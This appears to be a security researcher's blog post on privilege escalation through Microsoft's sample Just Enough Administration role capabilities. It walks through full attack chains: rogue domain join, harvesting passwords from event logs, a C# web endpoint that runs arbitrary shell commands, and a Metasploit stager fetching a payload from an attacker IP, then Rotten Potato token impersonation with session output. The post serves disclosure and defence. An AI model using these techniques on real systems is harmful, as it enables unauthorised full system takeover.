Update - 10/9
The PowerShell team has been very responsive in addressing these issues. The documentation should be updated soon (if not yet). Lee Holmes from the PowerShell team also addressed these issues in another DerbyCon presentation: https://www.youtube.com/watch?v=JDtUmue9mIw&feature=youtu.be&t=1766
tl;dr
Just Enough Administration (JEA) is a new Windows 10/Server 2016 feature to create granular least privilege policies by granting specific administrative privileges to users, defined by built-in and script-defined PowerShell cmdlets. Microsoft's documentation claimed JEA was a security boundary so effective you did not need to worry about an attacker stealing and misusing the credentials of a JEA user.
But every JEA role capability example I found Microsoft had published had vulnerabilities that could be exploited to obtain complete system administrative rights, most of them immediately, reliably, and without requiring any special configuration. I find it hard to believe most custom role capabilities created by system administrators in the wild are going to be more secure than these, given the track record of the functionally similar features in Linux, the non-obvious nature of vulnerabilities, and the importance of dangerous cmdlets to routine system troubleshooting and maintenance.
I recommended Microsoft invert what their JEA articles and documentation said about security. Instead of leading with statements that JEA was a security barrier, users with JEA rights should not be considered administrators, and their credentials do not need to be protected like real administrators with a note that this may not be the case if you are not careful; Microsoft's JEA documentation should lead with statements that JEA should not be treated like a security barrier and users with JEA rights and their credentials should be tightly controlled exactly like normal administrators unless the role capabilities have been strictly audited by security professionals. Additionally, the README files and comments of their example role capabilities should start with stern reminders of this.
JEA Introduction
Just Enough Administration (JEA) is a new Windows 10/Server 2016 feature to create granular least privilege policies by granting specific administrative privileges to users, defined by built-in and script-defined PowerShell cmdlets. In the keynote at DerbyCon this year, Jeffery Snover, known for creating PowerShell, advertised JEA as an example of a positive advance in locking down systems and foresaw a large role for it in the future of systems administration. So I decided to check it out; Microsoft's documentation claimed JEA was a security boundary so effective you do not need to worry about an attacker stealing and misusing the credentials of a JEA user:
When I heard of JEA, my first reaction was to compare it to Linux's capabilities feature. Similar to JEA, capabilities on Linux provide a way for a program to be granted specific abilities that would otherwise require root access. In contrast with JEA, each capability is defined by the Linux kernel developers, following a lengthy discussion and many signoffs from the core kernel team.
Unfortunately, despite all the expertise and review, most capabilities failed as security barriers. In a post titled False Boundaries and Arbitrary Code Execution, Brad Spengler of grsecurity was able to assemble a list of techniques to escalate privileges to fully unfettered root access from 19 of the first 30 capabilities that were implemented. It's really hard to poke a hole in such an established security barrier and not inadvertently let all the cats out of the bag. Normally if an action requires elevated privileges, there's a good reason; the action might directly compromise the system's confidentiality, integrity, or availability and you can often get to any capability from another.
Edit - as pointed out by @securityfu, JEA is probably closer to a custom sudo profile; which can also restrict root access to only specific commands. Custom sudo profiles are also virtually always exploitable; see https://www.securusglobal.com/community/2014/03/17/how-i-got-root-with-sudo/ for an attacker's perspective.
The same kinds of flaws are prevalent and likely to re-occur in JEA as well. For example, let's look at the first JEA rules you can find on the JEA website. If you look at the above screenshot of the JEA homepage, you can see the featured link "it’s now even easier to create and configure endpoints, by using the JEA Toolkit Helper." Click that link and you will see the following JEA Helper screenshot:
The same page reassures us, "The tool also implements several best practices from the experience guide, as detailed in the last part of this blog post."
JEA Helper Attack
The first allowed cmdlet, "Get-Event" I believe is a typo; it does not return event log entries as you might expect; instead it returns PowerShell events from the current PowerShell session, which is a very rarely used feature that I don't think can be employed in the restricted JEA shell. "Get-EventLog" and "Get-WinEvent" on the other hand, are very commonly used to troubleshoot application and OS errors, performance issues, configuration mistakes, etc. But more on those later.
The second allowed cmdlet, "Add-Computer" is a commonly used command when administering a Windows network. It is used to add a computer to a domain or switch its domain. It is also a reliable vector to break the JEA security barrier, and escalate privileges to complete unrestricted system control. This can be performed in a simple series of steps:
- First, set up a target computer as documented; an updated non-domain-joined Windows 10 system. Ensure PSRemoting is enabled (
Enable-PSRemoting -Force -SkipNetworkProfileCheck
) then run the JEA helper tool from Microsoft, and create a PS session configuration with the same role capabilities as the JEA Toolkit Helper example shows, and enable it for an otherwise non-admin user. The best and simplest cut & pastable resource for getting JEA enabled and a starting configuration going was put together by Paula Januszkiewicz and is available at cqureacademy.com; you can use those commands to create the PowerShell Role Capabilities File and Session Configuration File, and to register the session configuration file. Test powershell remoting to this system from another Windows 10 system by runningSet-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force
on the source system then connecting to the target withEnter-PSSession -ComputerName 1.2.3.4 -Credential (Get-Credential) -ConfigurationName JEADemo2
where 1.2.3.4 is the IP of the target, and providing your JEA user credentials for the target. - Register a domain name; a free dynamic DNS one should do fine, as long as you can set the NS server or don't mind typing in a lot of entries. It can be a subdomain of another one, like addthis.scriptjunkie.us.
- Create a Windows Server virtual machine on the same network as the target system you have JEA access to, install the Active Directory role, and make it the root domain controller of a new forest with your new domain name. A free Samba-based Linux DC should work just fine too.
- Find a way to forward DNS queries for your new domain name to your new DC; or manually make a copy of the DNS records (e.g. with Get-DnsServerResourceRecord) and add them to an external resolver.
- Use your JEA user to remote into the target system, and run "Add-Computer -DomainName addthis.scriptjunkie.us"
- Powershell will prompt you to enter a username and password; enter the credentials of a user on the new domain
- Your computer will be added to the domain. Next time it reboots, it will pull group policy settings from your new server, enabling you via a group policy configuration to change any setting, drop the firewall, execute any command as system via startup scripts or scheduled tasks, or directly log in as the domain admin. You have broken the "security barrier" and have full unrestricted administrative control over the system.
- Once a hacker with the compromised JEA account has unrestricted admin, the hacker can directly delete or remove incriminating information from the JEA log transcripts.
JEA General Role Capabilities Attacks
The previous rules are not the only rules Microsoft has published. Microsoft has a repository of more comprehensive JEA role capabilities, available if you can find them anyway. At the bottom of the JEA homepage, in the "For more information" section, Microsoft has a link to "JEA documentation on GitHub" which goes to http://aka.ms/jeadocs. This link currently redirects to https://msdn.microsoft.com/powershell/jea/readme which is not the Microsoft JEA github repository and at time of writing did not seem to link to there either.
But if you go to github.com and manually search that site for JEA, you'll find the repository at https://github.com/PowerShell/JEA. This repository has 4 sample role capabilities; a "level 1" and "level 2" for general server administration and IIS specific level 1 and 2. I used the PowerShell commands import-module servermanager
to install IIS and ASP.NET:
Install-WindowsFeature Web-Server
Install-WindowsFeature Web-ASP
Install-WindowsFeature Web-Asp-Net45
- General Level 2 allows the execution of cmdlets like
New-Service
which allows the user to immediately and reliably launch any command with full SYSTEM rights; a privilege escalation past the security barrier to complete system control. - General Level 1 allows the cmdlets
Get-WinEvent
andGet-EventLog
. These cmdlets allow the user to read all the event logs on the system. This is an important task for anyone tasked with troubleshooting a server, but it's also a critical vulnerability. If an organization is particularly security conscious, which they'd have to be to be running JEA, they should have command line process auditing enabled and/or sysmon installed. These will log the complete command lines of every process that is executed on the system; which is very important for forensic and intrusion detection purposes as well as basic troubleshooting. Finally, if there's one thing I know about admins, it's that, for a common task, given the choice between clicking around 10 menus and typing something in twice, and doing the same task with a single command line command, they will always pick the simplest option. This is doubly so in any organization that uses PowerShell so much that they would deploy JEA (thus forcing staff to use it). Because of that, when creating a new account or changing the password of an existing account, admins will probably runnet user someuser Password123
rather than use the GUI. Likewise, they may runnet use \\computername\share Password123 /user:bob
to map shares orpsexec \\computer -u bob -p Password123
to get a remote shell if PowerShell remoting isn't working. These command lines and passwords will be logged in the event logs. Although that level of detail won't be shown within the JEA shell, you can extract it by serializing the result of your output by running Get-WinEvent via Invoke-Command and extracting it out on your system: - IIS Level 2 and IIS Level 1 differ in that level 2 includes commands like
New-WebSite
that level 1 does not have. But that does not matter; both allow*-IISSite
which includesNew-IISSite
which is all we need to completely compromise the system.
To do so, first install Visual Studio on any system (be sure to include the web development tools and C#), then create a new C# Web API project. I used the default and made a small change; I went to the ValuesController, removed the[Authorize]
line and changed the Get method to the method below, then published the project into a custom profile that just generates a zip:// GET api/command/ipconfig [Route("api/command/{cmd}")] public string GetCmd(string cmd) { Process p = new Process(); p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.FileName = "C:\\Windows\\System32\\cmd.exe"; p.StartInfo.Arguments = "/c " + cmd; p.Start(); return p.StandardOutput.ReadToEnd(); }
Next share a folder on any system that the IIS server can reach (or re-use an existing share) and extract your web project zip folder into it as a directory.
Use your restricted credentials to log into the JEA session and run
New-IISSite -Name something -BindingInformation "*:8080:" -PhysicalPath \\thefileserverwiththe\share\yourapp
I used port 8080, but you can pick any unused port you can reach; if you can't reach any unused port, then pick a custom path in an already-served port.Now open a web browser and go to
http://thetargetserver:8080/api/command/ipconfig
- it should return the output of running the command "ipconfig". You now have demonstrated arbitrary code execution on the IIS server. But if you runwhoami
you will see that you have only gained code execution under theIIS APPPOOL\DefaultAppPool
account.Microsoft's documentation on application pool identities emphasizes that these limited accounts are a security barrier to prevent an application compromise from becoming a complete system compromise. However, in a sadly recurring pattern, the application pool accounts have been granted privileges otherwise reserved for administrators or the SYSTEM account which completely negate their security limitations, and those limitations can be reliably, immediately bypassed. There are many ways from this point to escalate to full SYSTEM access.
For example, as the previously linked page declares, "application pool identities also use the machine account to access network resources" which means, as far as any other system on your network knows, your web application is running from the locally all-powerful SYSTEM account. So anything that that account can access, you can too. This means that if this is a very security conscious organization, which it probably is, and has the Local Administrator Password Solution or an equivalent deployed, or if your administrators are lazy and not-security-smart and have a local administrator password set in Group Policy Preferences, your code can directly read out the local administrator password and immediately escalate to unrestricted admin rights.
Another uncommon privilege that the IIS Application Pool account has is the ability to impersonate tokens. This is a very commonly used privilege for web applications, as they often need to authenticate domain users and take actions under their account. We can use this privilege and standard Windows authentication protocols to execute the Rotten Potato attack assembled by James Forshaw, Stephen Breen, and Chris Mallz. This attack effectively triggers a network authentication by the SYSTEM account to an endpoint we have created, then man-in-the-middles the NTLM authentication to obtain a SYSTEM token, then impersonates the token to obtain full SYSTEM rights.
The method I used was to first start metasploit on another system, start the multi/script/web_delivery module with a windows/meterpreter/reverse_tcp payload, then encode a shortened version of the PowerShell launch command into a PowerShell encoded command, then kick off the stager on the webserver by visiting the URL launching the encoded command:
http://192.168.56.101:8080/api/command/powershell%20-ec%20JAB0AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBJAEUAWAAgACQAdAAuAG
. This gives me a meterpreter shell on the IIS server in a powershell process. I then uploaded and kicked off rottenpotato.exe, then migrated into the rottenpotato process, and used incognito to impersonate the SYSTEM token rottenpotato obtained:QAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANQA2AC4AMQAw ADQAOgA4ADAAOAAwAC8AMABuAFYAegA2AHQAIgApADsA >>>execute -H -f rottenpotato.exe Process 1904 created. >>>migrate 1904 [*] Migrating from 3496 to 1904... [*] Migration completed successfully. >>>ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System 240 4 smss.exe 320 312 csrss.exe 336 3216 MpCmdRun.exe 380 492 svchost.exe 384 376 csrss.exe 400 312 wininit.exe 432 376 winlogon.exe 492 400 services.exe 500 400 lsass.exe 644 492 svchost.exe 684 492 svchost.exe ... >>>getuid Server username: IIS APPPOOL\DefaultAppPool >>>use incognito Loading extension incognito... success. >>>list_tokens -u [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== IIS APPPOOL\DefaultAppPool Impersonation Tokens Available ======================================== NT AUTHORITY\IUSR NT AUTHORITY\SYSTEM >>>impersonate_token 'NT AUTHORITY\SYSTEM' [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [-] No delegation token available [+] Successfully impersonated user NT AUTHORITY\SYSTEM >>>ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System x64 0 240 4 smss.exe x64 0 320 312 csrss.exe x64 0 336 3216 MpCmdRun.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Program Files\Windows Defender\MpCmdRun.exe 380 492 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe 384 376 csrss.exe x64 1 400 312 wininit.exe x64 0 432 376 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe 492 400 services.exe x64 0 500 400 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe 644 492 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe 684 492 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe 796 492 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe 844 492 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe 928 492 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe 940 492 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe ...
Once again, the JEA restrictions have been reliably broken and we have complete SYSTEM control.
We've now obtained passwords to fully privileged admin accounts and have once again escalated past the security barrier to complete system control.
Neither the repository README nor any of the JEA role capability scripts mentioned that they invalidate the JEA security barrier.
Poking holes in a major security boundary without completely obviating it is an exceptionally difficult task that is highly likely to fail in difficult-to-see ways. Even the experts who develop these operating systems usually fail, even under the strictest scrutiny of code reviews.
Every JEA role capability file I had found Microsoft has published can be bypassed to obtain complete system administrative rights, most of them immediately, reliably, and without requiring any special configuration. I find it hard to believe most system administrators who create their own custom role capabilities are going to create more secure configurations than these, especially given the track record of the functionally similar sudo configurations, or the Linux capabilities, or even the built-in IIS account restrictions. Cmdlets can often result in privilege escalation in non-obvious ways and many such cmdlets are essential to normal maintenance, troubleshooting and resolving common issues.
Recommendations
I recommended Microsoft invert what their JEA articles and documentation say about security. Instead of saying JEA was a security barrier, users with JEA rights should not be considered administrators, and their credentials do not need to be protected like real administrators with a note that this may not be the case if you are not careful; Microsoft should say JEA should not be treated like a security barrier and users with JEA rights and their credentials should be tightly controlled exactly like normal administrators unless the role capabilities have been strictly audited by security professionals. Additionally, the README files and comments of their example role capabilities should start with stern reminders of this.
I believe JEA role capabilities are primarily protection from accidental changes and a reminder to junior admins to consult senior staff before taking certain actions. Any account that can use JEA should be considered privileged, not unprivileged. Protect and monitor those, use the same MFA requirements, etc. as fully privileged admin accounts. Finally, JEA grants are backdoors in the most literal sense; monitor them continuously for changes, and audit frequently, just like privileged user groups and autoruns.
Post script - on disclosure
I did not pre-coordinate this release with Microsoft. For normal vulnerabilities, privately coordinating with the vendor can allow them to create and release a patch before any attackers are aware of the vulnerability. In this case, the vulnerability is not so much with the underlying technology, whose details seem to be working as advertised. The vulnerabilities instead lie primarily with the documentation and general marketing of the feature. I was not even confident I should call these "vulnerabilities" although in the end I decided to do since they seem to meet the definition of a hole in a documented security feature.
The correct response for a documentation vulnerability is to correct the misinterpretation; there is no binary patch Microsoft can put out to fix your configurations. As a result, I saw no benefit in delaying this post.